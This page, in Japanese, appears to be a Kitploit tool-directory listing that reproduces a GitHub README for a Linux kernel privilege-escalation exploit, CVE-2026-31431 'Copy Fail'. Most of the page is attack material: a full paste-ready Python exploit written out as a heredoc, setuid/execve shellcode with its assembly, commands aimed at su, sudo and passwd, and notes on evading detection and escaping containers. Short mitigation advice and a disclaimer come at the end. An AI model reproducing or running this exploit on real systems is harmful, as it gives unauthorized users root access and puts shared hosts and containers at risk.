Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-31431-CopyFail-Universal-LPE — CVE-2026-31431 コピー失敗 — 汎用LPEエクスプロイト。動的ELFオフセット+全バイナリ上書き、ctypes spliceフォールバックによるPython 2/3互換 | Kitploit
ツール/GitHubGitHub/shadowabi/cve-2026-31431-copyfail-universal-lpe
特権昇格コンテナセキュリティエクスプロイトフレームワーク脆弱性分析エクスプロイトペネトレーションテストレッドチーミングペイロード開発バイナリエクスプロイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubshadowabi/cve-2026-31431-copyfail-universal-lpe

CVE-2026-31431-CopyFail-Universal-LPE

CVE-2026-31431 コピー失敗 — 汎用LPEエクスプロイト。動的ELFオフセット+全バイナリ上書き、ctypes spliceフォールバックによるPython 2/3互換

リポジトリを見る
57133ヶ月前Kitploit レビュー済み

CVE-2026-31431「Copy Fail」— 汎用LPEエクスプロイト

Linuxカーネルページキャッシュへの4バイト任意書き込み → ローカル権限昇格

複数のエクスプロイト手法: 動的ELFエントリポイント上書き、完全バイナリ置換、ctypes spliceフォールバック対応のPython 3.x。

これは何か?

CVE-2026-31431 は、LinuxカーネルのAF_ALG暗号サブシステムにおける脆弱性です。splice() + authencesn のインプレース復号を悪用することで、権限のないユーザーがカーネルのページキャッシュ(すべてのファイルバッキングメモリに使用されるキャッシュ)内の任意のオフセットに4バイトを書き込むことができます。

つまり:

  • レースコンディション不要 — シングルスレッドで決定的
  • 特別な権限不要 — デフォルトのDockerコンテナ内でも動作(seccompはAF_ALGを許可)
  • カーネルバージョン非依存 — 2017年以降のすべてのカーネルに影響
  • メモリ上のファイルのみを変更 — ディスクには触れず、再起動で痕跡はすべて消去

エクスプロイト手法

このリポジトリは、同じAF_ALGコピーフォールプリミティブを使用する3つのツールを提供します:

動的エントリポイント完全バイナリ置換脆弱性チェッカー
ファイルexploit.pypoc_compatible.pycheck_cve.sh
戦略ELFエントリポイントをシェルコードで上書きオフセット0からバイナリ全体を置換対象が脆弱かどうかをテスト
対象任意のx86_64 SUIDバイナリ任意のバイナリ(SUIDかどうかは問わない)N/A
Python3.x(全バージョン)2 / 3Bash
ペイロード36バイトのシェルコードzlib圧縮された完全なELFN/A
作者本作品h4ppy7reeh4ppy7ree

動的エントリポイント — 実行時にELFヘッダーを解析してエントリポイントのファイルオフセット(p_offset + (e_entry - p_vaddr))を計算し、小さなシェルコードスタブを書き込みます。ハードコードされたオフセットは不要 — ディストリビューションやバージョンに関係なく、1つのスクリプトが任意のx86_64 SUIDバイナリで動作します。

完全バイナリ置換 — 事前にビルドされた完全なELFペイロード(zlib圧縮されスクリプトに埋め込まれている)で、オフセット0から対象を上書きします。特権プロセス(cronジョブ、systemdサービス、kube-proxy)によって実行される非SUIDバイナリを対象にできます。Python 2でも動作します。

脆弱性チェッカー — エクスプロイトを実行する前に、対象システムにAF_ALG、authencesn、algif_aeadが利用可能かどうかをテストします。

クイックスタート

前提条件

  • Linuxカーネル(2017年以降の任意のバージョン)
  • Python 3.x(exploit.py用。Python 2はpoc_compatible.pyでサポート)
  • 任意のSUID-rootバイナリ(/usr/bin/su、/usr/bin/sudo など)

ワンライナー再現

root@kitploit:~
# 権限のないユーザーでテストコンテナを作成
docker run -ti --rm ubuntu:22.04 bash -c '
  sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
  apt-get update -qq && apt-get install -y -qq python3 gcc
  cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
    printf("uid=%d euid=%d\\n", getuid(), geteuid());
    printf("Not rooted - exploit entry point to get shell\\n");
    return 0;
}
EOF
  gcc -o /usr/local/bin/verify /tmp/verify.c
  chmod 4755 /usr/local/bin/verify
  useradd -m testuser
  su - testuser
'

次に、コンテナ内でtestuserとして:

root@kitploit:~
# 実行前: 実uidが0ではないためsetuid(0)は失敗する
/usr/local/bin/verify
# uid=1000 euid=0
# (正常に終了、rootにはならない)

# エクスプロイトを実行
python3 exploit.py /usr/local/bin/verify

# 実行後: エントリポイントが上書きされ、シェルコードがrootを取得
# uid=0(root) gid=1000(testuser)

ワンライナー(ファイル転送不要)

実際のシナリオでは、生のシェルしか持っていないことがよくあります — scpもcurlもwgetもありません。この方法では、catヒアドキュメントを使用してエクスプロイトをターミナルに直接書き込みます:

root@kitploit:~
# オプション1: シェルスクリプトを実行
sh exploit-one-liner.sh /usr/local/bin/verify

# オプション2: ターミナルに直接貼り付け(ブロック全体をコピー)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
 _l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
 def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
  ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
  if r==-1:raise OSError(ctypes.get_errno(),'splice')
  return r
 os.splice=_s
def d(x):
 if isinstance(x,str):x=x.encode('ascii')
 return binascii.unhexlify(x)
def w(t,o,p):
 s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
 s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
 u,_=s.accept();z=d('00')
 u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
 r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
 try:u.recv(8+o)
 except:0
 [os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
 for i in range(n):
  f.seek(p+i*sz);ph=f.read(sz)
  if struct.unpack_from('<I',ph,0)[0]!=1: continue
  pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
  if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
 w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
 print("  wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
 f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY

python3 /tmp/exploit.py /usr/local/bin/verify

これが重要な理由: コンテナ環境ではファイル転送ツール(scp、curl、wget)がないことがよくあります。ヒアドキュメント方式はcatとpython3だけで済みます — どこでも利用可能です。

他のSUIDバイナリを対象にする

/usr/local/bin/verify を任意のSUID-rootバイナリに置き換えることができます:

root@kitploit:~
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh

⚠️ 警告: システムのSUIDバイナリ(/usr/bin/su など)を対象にすると、システム上のすべてのユーザーに影響します。ページキャッシュがクリアされるまで、そのバイナリは使用できなくなります。ホストマシンでは、suを実行したユーザーは誰でもrootシェルを取得できます。

共有/本番システムでは、これはすぐに気づかれます — suがクラッシュしたり、全員に予期しないシェルが生成されたりします。安全なテストにはverify.cを使用してください。

復旧

このエクスプロイトはページキャッシュ(メモリ)のみを変更し、ディスクには触れません。復旧オプション:

root@kitploit:~
# ホスト上で(コンテナテスト後):
echo 3 | sudo tee /proc/sys/vm/drop_caches

# 復旧の確認:
xxd -l 8 /usr/bin/su
# 表示されるはず: 7f45 4c46 (.ELF)

注記: デフォルト(非特権)コンテナ内では、echo 3 > /proc/sys/vm/drop_caches は Read-only file system で失敗します — これにはホストアクセスまたはコンテナの破棄が必要です。

攻撃対象領域

仕組み

脆弱性

カーネルのauthencesn AEADアルゴリズムには、インプレース復号パスにバグがあります:

  1. ユーザーはauthencesn(hmac(sha256), cbc(aes))でAF_ALGソケットを作成
  2. ユーザーはsplice()を呼び出してファイルデータを暗号ソケットに供給 — これによりページキャッシュページがカーネルのscatterlistに直接マッピングされる
  3. 復号中、authencesnは認証タグの後に4バイトのseqno_loを書き込む
  4. 関連データ長とIVレイアウトを制御することで、攻撃者はそれら4バイトがどこに配置されるかを制御する

結果: ページキャッシュされた任意のファイルへの4バイト任意書き込み。

エクスプロイト

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│  ELFバイナリ (/usr/bin/su)                           │
│                                                     │
│  0x0000: ┌──────────┐                               │
│          │ ELFヘッダー │  e_entry = 0x4013f0         │
│          │           │  ← 動的に解析                 │
│          └──────────┘                               │
│  ...                                                │
│  0x3f20: ┌──────────┐  ← 計算されたファイルオフセット │
│          │ 元のコード │                               │
│          │           │  ─── コピーフォール書き込み ───→ │
│          │ シェルコード │  setuid(0) + execve("/bin/sh")│
│          └──────────┘                               │
│  ...                                                │
└─────────────────────────────────────────────────────┘

カーネルがSUIDバイナリをロードすると、euid=0を設定してからエントリポイントにジャンプする。
エントリポイントは現在、私たちのシェルコード → setuid(0)が成功 → rootシェル。

シェルコード

root@kitploit:~
xor  rdi, rdi          ; uid = 0
xor  eax, eax
mov  al, 0x69           ; __NR_setuid
syscall                 ; setuid(0)
xor  rdx, rdx
push rdx                ; null終端
movabs rbx, "/bin/sh\0"
push rbx
mov  rdi, rsp           ; ファイル名
xor  rsi, rsi           ; argv = NULL
xor  eax, eax
mov  al, 0x3b           ; __NR_execve
syscall                 ; execve("/bin/sh", NULL, NULL)

36バイト、9回のコピーフォール書き込み(各4バイト)。

これが重要な理由

コンテナセキュリティ

デフォルトのDockerコンテナは、これから保護されていません:

保護状態
Seccomp✅ AF_ALGはデフォルトで許可
ユーザー名前空間❌ デフォルトのDockerでは未使用
AppArmor/SELinux❌ AF_ALGを制限しない
ケーパビリティの削除❌ 特別なケーパビリティは不要

コンテナエスケープを防いでいるのは、overlayfsのマウントごとのページキャッシュ分離だけです。しかし、コンテナ内でrootを取得すれば、標準的なエスケープ手法(cgroup release_agent、docker.sock、K8s serviceaccountトークン、クラウドメタデータ)が適用できます。

検出の難しさ

  • ディスクは決して変更されない — ページキャッシュへの書き込みはメモリのみ
  • 新しいファイルは作成されない — エクスプロイトは単一のPythonスクリプト
  • カーネルモジュールはロードされない — 純粋なsyscallの悪用
  • 再起動で証拠はすべて消去 — ページキャッシュは揮発性

影響を受けるシステム

algif_aeadのインプレース変換(2017年頃にマージ)以降のすべてのLinuxカーネル:

  • Ubuntu 18.04 / 20.04 / 22.04 / 24.04
  • Debian 10 / 11 / 12
  • RHEL 8 / 9
  • CentOS Stream
  • Amazon Linux 2 / 2023
  • Dockerコンテナ(デフォルトのseccompプロファイル)
  • Kubernetesポッド(デフォルト設定)
  • WSL2(確認済み)

ファイル構成

root@kitploit:~
.
├── exploit.py              # 動的ELFエントリポイント上書き(Python 3.x)
├── exploit-one-liner.sh    # 貼り付け対応バージョン(ファイル転送不要)
├── poc_compatible.py       # オフセット0からの完全ELFバイナリ上書き(Python 2/3、h4ppy7ree作)
├── poc_ctypes.py           # Python 3.0-3.9用ctypes splice(h4ppy7ree作)
├── check_cve.sh            # 脆弱性チェッカー(h4ppy7ree作)
├── verify/
│   └── verify.c            # テスト用SUID検証プログラム
└── README.md               # このファイル

防御

  • カーネルパッチを適用 — 上流の修正が利用可能
  • Seccomp: AF_ALGドメインをブロック(socket(AF_ALG, ...) → errno)
  • AppArmor: af_algソケット作成を拒否
  • カーネル強化: CONFIG_CRYPTO_USER_API_AEAD=n
  • モニタリング: socket(AF_ALG=38, SOCK_SEQPACKET=5, 0) syscallの監査

クレジット

  • 脆弱性の発見: Taeyang Lee (Theori) / theori-io/copy-fail-CVE-2026-31431
  • 動的オフセット計算と汎用エクスプロイト: 本作品
  • 完全バイナリ置換アプローチと脆弱性チェッカー: h4ppy7ree (PR #1)

免責事項

このエクスプロイトは、許可されたセキュリティ研究および教育目的のみで提供されています。コンピュータシステムへの不正アクセスは違法です。著者は一切の責任を負わず、このプログラムの誤用または損害について責任を負いません。

ライセンス

MIT

ツールをダウンロード
方法場所コマンド
ページキャッシュの破棄ホスト(root)echo 3 > /proc/sys/vm/drop_caches
再起動どこでもreboot — ページキャッシュは揮発性
コンテナの破棄どこでもdocker rm — コンテナとともにページキャッシュが解放
ベクター動作するか?詳細
LPE(ローカルユーザー → root)✅ はいSUIDバイナリのエントリポイントを上書き
コンテナエスケープ(デフォルト)❌ いいえoverlayfsのマウントごとのページキャッシュ分離
コンテナエスケープ(ホスト書き込み)✅ はいホストから/proc/PID/root/経由で書き込み
クロスコンテナ(ホスト書き込み)✅ はい同じinode → 共有された下層レイヤーのページキャッシュ